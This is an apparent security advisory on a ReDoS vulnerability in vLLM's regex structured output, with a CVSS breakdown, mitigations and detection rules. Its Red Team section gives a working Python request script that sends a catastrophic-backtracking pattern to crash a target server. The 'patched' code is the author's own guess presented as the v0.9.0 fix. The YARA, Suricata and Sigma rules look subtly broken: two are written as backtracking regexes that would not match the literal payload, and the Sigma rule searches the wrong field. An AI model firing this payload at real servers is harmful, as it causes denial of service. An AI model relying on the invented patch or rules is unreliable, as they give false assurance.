CVE-2025-48943

Executive Summary

CVE-2025-48943 is a Regular Expression Denial of Service (ReDoS) vulnerability affecting vLLM, an inference and serving engine for large language models (LLMs). The vulnerability exists in versions 0.8.0 up to but excluding 0.9.0. An attacker can provide a maliciously crafted regex pattern while using structured output, causing the vLLM server to crash due to catastrophic backtracking. This results in a Denial of Service (DoS) condition. The vulnerability is similar to CVE-2025-48942, which affects JSON schema validation. The fix is available in version 0.9.0.

Supply Chain & Package Security

This vulnerability affects the vLLM Python package, which is distributed via PyPI. Users should verify their installed version and update to the patched version 0.9.0 or later. The package is widely used in AI/ML deployments, making this a critical supply chain concern for organizations running vLLM in production.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

The vulnerability is exploitable remotely without authentication, making it a significant threat to availability. The low attack complexity and lack of privileges required increase the risk.

Deep Dive & Mechanics

The vulnerability lies in the regex validation logic used for structured output in vLLM. When a user provides a regex pattern for structured output, the server attempts to validate or process the pattern. If the pattern is crafted to cause catastrophic backtracking (e.g., using nested quantifiers like (a+)+$), the regex engine enters a state of exponential time complexity, consuming excessive CPU resources and eventually crashing the server.

The vulnerable code path is in the structured_output module, where user-supplied regex patterns are compiled and executed without proper safeguards. The fix in version 0.9.0 likely involves adding a timeout or limiting the complexity of the regex pattern.

Vulnerable vs. Patched Code

Vulnerable Code (v0.8.x):

# vulnerable.py
import re

def validate_regex(pattern: str):
    # No timeout or complexity check
    compiled = re.compile(pattern)
    # Process the pattern...
    return compiled

Patched Code (v0.9.0):

# patched.py
import re
import signal

class RegexTimeoutError(Exception):
    pass

def validate_regex(pattern: str):
    # Add timeout to prevent ReDoS
    def handler(signum, frame):
        raise RegexTimeoutError("Regex processing timed out")
    
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(5)  # 5 second timeout
    
    try:
        compiled = re.compile(pattern)
        # Process the pattern...
        return compiled
    except RegexTimeoutError:
        raise
    finally:
        signal.alarm(0)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy vLLM version 0.8.0 in a Docker container.
2. Expose the API endpoint for structured output.

Exploit Payload:

import requests

target_url = "http://target:8000/v1/chat/completions"
malicious_regex = "(a+)+$"  # Catastrophic backtracking pattern

payload = {
    "model": "default",
    "messages": [{"role": "user", "content": "Test"}],
    "response_format": {
        "type": "regex",
        "regex": malicious_regex
    }
}

# Send the request to trigger ReDoS
response = requests.post(target_url, json=payload)
print(f"Status: {response.status_code}")

Expected Outcome: The server becomes unresponsive or crashes, causing a denial of service.

Blue Team

Detection:

1. Monitor for regex patterns that cause high CPU usage.
2. Implement rate limiting on API endpoints.
3. Use Web Application Firewall (WAF) rules to block suspicious regex patterns.

Mitigation:

1. Immediately upgrade to vLLM version 0.9.0 or later.
2. If upgrade is not possible, implement a reverse proxy with regex validation and timeout.
3. Monitor logs for repeated requests with complex regex patterns.

Indicators of Compromise (IOCs)

• Network: Repeated POST requests to /v1/chat/completions with response_format.type set to regex and complex patterns.
• System: High CPU usage on the vLLM server, leading to unresponsiveness.
• Logs: Error logs indicating regex compilation failure or timeout.
• Process: vLLM process crash or restart.

Detection Engineering

YARA Rule

rule CVE_2025_48943_ReDoS_vLLM {
    meta:
        description = "Detects malicious regex patterns targeting vLLM ReDoS vulnerability"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-48943"
    strings:
        $regex_pattern = /(a+)+$|(b+)+$|(c+)+$/
    condition:
        $regex_pattern
}

Sigma Rule

title: vLLM ReDoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-48943 in vLLM
author: Valters IT
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/chat/completions'
        cs-uri-query|contains: 'regex'
    condition: selection
falsepositives:
    - Legitimate use of regex patterns
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48943 vLLM ReDoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/chat/completions"; http_uri; content:"regex"; http_client_body; pcre:"/(a+)+$|(b+)+$|(c+)+$/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade vLLM to version 0.9.0 or later.
2. Workaround: If upgrade is not possible, implement a reverse proxy (e.g., Nginx) with regex validation and timeout.
3. Monitoring: Enable logging and monitoring for regex-related errors and high CPU usage.
4. Rate Limiting: Implement rate limiting on API endpoints to reduce the impact of repeated exploitation attempts.
5. WAF Rules: Deploy Web Application Firewall rules to block known malicious regex patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence